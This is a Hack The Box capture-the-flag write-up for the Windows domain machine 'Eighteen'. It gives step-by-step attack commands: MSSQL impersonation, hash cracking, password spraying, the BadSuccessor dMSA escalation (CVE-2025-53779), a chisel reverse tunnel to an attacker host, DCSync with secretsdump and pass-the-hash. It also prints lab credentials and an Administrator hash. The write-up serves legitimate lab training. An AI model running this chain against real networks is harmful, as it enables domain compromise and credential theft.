630 words
3 minutes
Eighteen - Hack The Box Writeup

Eighteen – Hack The Box Writeup#

Eighteen is a Easy Windows AD box that chains classic MSSQL abuse with modern Windows Server 2025 dMSA exploitation (the famous BadSuccessor technique, CVE-2025-53779).

Provided credentials
Username: kevin
Password: iNa2we6haRj2gaw!

Valid on MSSQL.

1. Initial Reconnaissance#

Terminal window
nmap -p- --min-rate 1000 -sV -sC -A -oN nmap $ip

Key ports:

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ms-sql-info:
| $ip:1433:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 1433
| ms-sql-ntlm-info:
| $ip:1433:
| Target_Name: EIGHTEEN
| NetBIOS_Domain_Name: EIGHTEEN
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: eighteen.htb
| DNS_Computer_Name: DC01.eighteen.htb
| DNS_Tree_Name: eighteen.htb
|_ Product_Version: 10.0.26100
|_ssl-date: 2025-11-16T20:00:37+00:00; +7h00m40s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-16T19:51:00
|_Not valid after: 2055-11-16T19:51:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m39s, deviation: 0s, median: 7h00m39s

2. MSSQL Enumeration & Impersonation#

RID brute with nxc

Terminal window
nxc mssql DC01.eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute

image.png

Save users to user.txt

image.png

Connect with impacket:

Terminal window
impacket-mssqlclient kevin:iNa2we6haRj2gaw\\!@$ip

Check server permissions:

SELECT * FROM sys.server_permissions

Key finding → principal_id 268 can IMPERSONATE login 267!

image.png

Resolve names:

SELECT principal_id, name FROM sys.server_principals WHERE principal_id IN (267,268);

image.png

appdev (267) can be impersonated by our login (268)

List databases → interesting one: financial_planner, but we donot have permission to access it.

image.png

Impersonate:

EXECUTE AS LOGIN = 'appdev';

image.png image.png

Now that we have the appdev user, we can access the financial_planner database, as this user has the necessary permissions.

We then dumped all entries from the users table using the following query:

SELECT * FROM users;

image.png

3. PBKDF2 Hash Extraction & Cracking#

Found script: https://gist.github.com/marcos-venicius/858061c6c5709ad1a2f0e305b65a27f8

Convert PBKDF2 format for hashcat:

Terminal window
python3 pkdf2_to_hashcat.py 'pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133'

image.png

Crack with hashcat:

Terminal window
hashcat -a 0 -m 10900 hash.txt ./rock.txt

→ Password: iloveyou1

image.png

4. Foothold via WinRM#

Spray cracked password against users that we have saved from rid-brute:

Terminal window
nxc winrm DC01.eighteen.htb -u user.txt -p iloveyou1 --continue-on-success

adam.scott valid!

image.png

Evil-WinRM login:

Terminal window
evil-winrm -i 10.10.11.95 -u adam.scott -p iloveyou1

image.png

Group membership: Member of IT group.

5. Internal Enumeration – ACL Abuse#

Terminal window
net group "IT" /domain
net user bob.brown /domain
whoami /groups

Upload & load PowerView.ps1:

Terminal window
Find-InterestingDomainAcl

Key finding → IT group has CreateChild permissions on OU=Staff,DC=eighteen,DC=htb

→ Vulnerable to BadSuccessor (CVE-2025-53779) — dMSA privilege escalation!

image.png

Reference: https://github.com/akamai/BadSuccessor
CVE Details: Windows Kerberos EoP via dMSA abuse (patched Aug 2025, but box is vulnerable)

6. BadSuccessor Exploitation#

Run BadSuccessor tool:

Terminal window
BadSuccessor -mode exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name "nory_dmsa" -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator" -domain "eighteen.htb"

→ Creates exploitable dMSA linked to Administrator!

image.png

7. SOCKS Proxy & Ticket Harvesting#

Set up reverse tunnel with chisel:

Victim → attacker:

Terminal window
.\chisel.exe client $attacker_ip:8080 R:1080:socks

image.png

Attacker:

Terminal window
chisel server -p 8080 --reverse

image.png image.png

Update proxychains.conf:

image.png

Get ST (service ticket) as nory_dmsa$ (DMSA machine account):

Terminal window
proxychains getST.py eighteen.htb/adam.scott:iloveyou1 -impersonate "nory_dmsa$" -dc-ip 10.10.11.95 -self -dmsa

image.png

8. DCSync as Administrator#

Terminal window
KRB5CCNAME=bad_DMSA$.ccache proxychains impacket-secretsdump -k -no-pass dc01.eighteen.htb -just-dcuser Administrator -dc-ip 10.10.11.95

→ Administrator NTLM hash dumped!

image.png

9. SYSTEM / Root Flag#

Terminal window
evil-winrm -u administrator -H 0b133be956bfaddf9cea56701affddec -i 10.10.11.95

Now we can see the root.txt

image.png

Machine pwned!

image.png

Attack Chain Summary#

kevin creds → MSSQL → impersonate appdev → PBKDF2 hash → crack → adam.scott foothold (IT group)
Find CreateChild on OU=Staff → BadSuccessor (CVE-2025-53779) → create dMSA linked to Administrator
Chisel SOCKS → getST.py (DMSA impersonation) → service ticket as nory_dmsa$
DCSync as Administrator → hash → PTH → evil-winrm SYSTEM

Main vulns/misconfigs:

  • MSSQL impersonation chain
  • Weak PBKDF2 password
  • Dangerous CreateChild delegation on OU
  • Unpatched BadSuccessor dMSA abuse (CVE-2025-53779)

Great box — perfect mix of classic and cutting-edge AD attacks!

Happy hacking! ༼ つ ◕_◕ ༽つ

Eighteen - Hack The Box Writeup
https://blog.hanzalaghayasabbasi.com/posts/eighteen_machine_htb/
Author
Hanzala Ghayas Abbasi
Published at
2025-11-23
License
CC BY-NC-SA 4.0